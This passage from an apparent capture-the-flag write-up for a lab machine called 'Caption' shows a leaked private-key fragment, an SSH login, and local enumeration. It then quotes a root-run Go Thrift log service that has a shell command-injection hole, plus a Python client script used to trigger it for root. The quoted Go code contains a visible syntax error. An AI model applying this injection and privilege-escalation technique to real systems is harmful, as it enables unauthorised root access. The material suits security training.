Dnz2xKQSvNQ4Q4ltrsbUSnZNrBMlNtZvYpE5is5gsDTPKxAAAAAgaNaOfcgjzxxq/7lNizdKUj2u
Zpid9tR/6oub8Y3Jh3cAAAAAAQIDBAUGBwg=
-----END OPENSSH PRIVATE KEY-----
Copy the private key in the file and change the permission to 400 using chmod.
chmod 400 id_ecdsa
ssh -i id_ecdsa margo@10.10.11.33
The authenticity of host '10.10.11.33 (10.10.11.33)' can't be established.
ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.33' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-119-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sun Jan 26 10:21:59 AM UTC 2025
System load: 0.0 Processes: 234
Usage of /: 68.9% of 8.76GB Users logged in: 0
Memory usage: 14% IPv4 address for eth0: 10.10.11.33
Swap usage: 0%
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
3 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Tue Sep 10 12:33:42 2024 from 10.10.14.23
margo@caption:~$
Privilege Escalation
Pillaging - margo [ user ]
The service and process enumeration reveals that the root is running server.go process and 9090 port is open, which is running Logservice which we get to know from Gitbucket Logservice repository.
margo@caption:~$ netstat -tlnp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:9090 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:6081 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:6082 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3923 0.0.0.0:* LISTEN 1296/python3
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN 1297/python3
tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN 1298/java
tcp6 0 0 :::22 :::* LISTEN -
margo@caption:~$ ps aux | grep server.go
root 1282 0.0 0.0 2892 976 ? Ss Jan26 0:00 /bin/sh -c cd /root;/usr/local/go/bin/go run server.go
root 1283 0.0 0.4 1240804 17196 ? Sl Jan26 0:02 /usr/local/go/bin/go run server.go
margo 3745 0.0 0.0 6616 2244 pts/0 S+ 01:35 0:00 grep --color=auto server.go
Shell - root [ Thrift Exploitation ]
The server.go file form Gitbucket Logservice repository. The code is used to open the file and compile it and output the file. The line 43 contains the bash system commands which could be exploited.
package main
import (
"context"
"fmt"
"log"
"os"
"bufio"
"regexp"
"time"
"github.com/apache/thrift/lib/go/thrift"
"os/exec"
"log_service"
)
type LogServiceHandler struct{}
func (l *LogServiceHandler) ReadLogFile(ctx context.Context, filePath string) (r string, err error) {
file, err := os.Open(filePath)
if err != nil {
return "", fmt.Errorf("error opening log file: %v", err)
}
defer file.Close()
ipRegex := regexp.MustCompile(`\b(?:\d{1,3}\.){3}\d{1,3}\b`)
userAgentRegex := regexp.MustCompile(`"user-agent":"([^"]+)"`)
outputFile, err := os.Create("output.log")
if err != nil {
fmt.Println("Error creating output file:", err)
return
}
defer outputFile.Close()
scanner := bufio.NewScanner(file)
for scanner.Scan() {
line := scanner.Text()
ip := ipRegex.FindString(line)
userAgentMatch := userAgentRegex.FindStringSubmatch(line)
var userAgent string
if len(userAgentMatch) > 1 {
userAgent = userAgentMatch[1]
}
timestamp := time.Now().Format(time.RFC3339)
logs := fmt.Sprintf("echo 'IP Address: %s, User-Agent: %s, Timestamp: %s' >> output.log", ip, userAgent, timestamp)
exec.Command{"/bin/sh", "-c", logs}
}
return "Log file processed",nil
}
func main() {
handler := &LogServiceHandler{}
processor := log_service.NewLogServiceProcessor(handler)
transport, err := thrift.NewTServerSocket(":9090")
if err != nil {
log.Fatalf("Error creating transport: %v", err)
}
server := thrift.NewTSimpleServer4(processor, transport, thrift.NewTTransportFactory(), thrift.NewTBinaryProtocolFactoryDefault())
log.Println("Starting the server...")
if err := server.Serve(); err != nil {
log.Fatalf("Error occurred while serving: %v", err)
}
}
Change directory into gen-py and create the malicious python script to interact with the thrift
#!/usr/bin/env python3
# Adapted from https://thrift.apache.org/tutorial/py.html
from thrift import Thrift
from thrift.transport import TSocket
from thrift.transport import TTransport
from thrift.protocol import TBinaryProtocol
from log_service import LogService
def main():
transport = TSocket.TSocket('localhost', 9090)
transport = TTransport.TBufferedTransport(transport)
protocol = TBinaryProtocol.TBinaryProtocol(transport)
client = LogService.Client(protocol)
transport.open()
result = client.ReadLogFile("/tmp/exp.log")
transport.close()
if __name__ == "__main__":
main()
Execute the created python script.
python3 exploit.py
Proof of Concept
The below video provides the PoC of Caption machine.
Last updated